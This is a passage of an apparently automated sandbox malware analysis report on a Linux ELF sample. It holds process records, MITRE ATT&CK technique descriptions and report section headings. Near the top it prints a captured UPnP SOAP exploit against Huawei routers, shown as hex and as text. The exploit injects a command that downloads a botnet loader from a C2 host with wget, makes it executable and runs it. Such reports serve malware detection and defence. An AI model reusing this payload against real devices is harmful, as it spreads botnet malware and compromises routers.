6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: aXyM30sV1V.elf PID: 5490, Parent PID: 5412

General

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	/tmp/aXyM30sV1V.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	18:34:43
Start date (UTC):	08/10/2024
Path:	/tmp/aXyM30sV1V.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report aXyM30sV1V.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: aXyM30sV1V.elf PID: 5490, Parent PID: 5412

General

File Activities

File Opened

File Read

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Linux Analysis Report
aXyM30sV1V.elf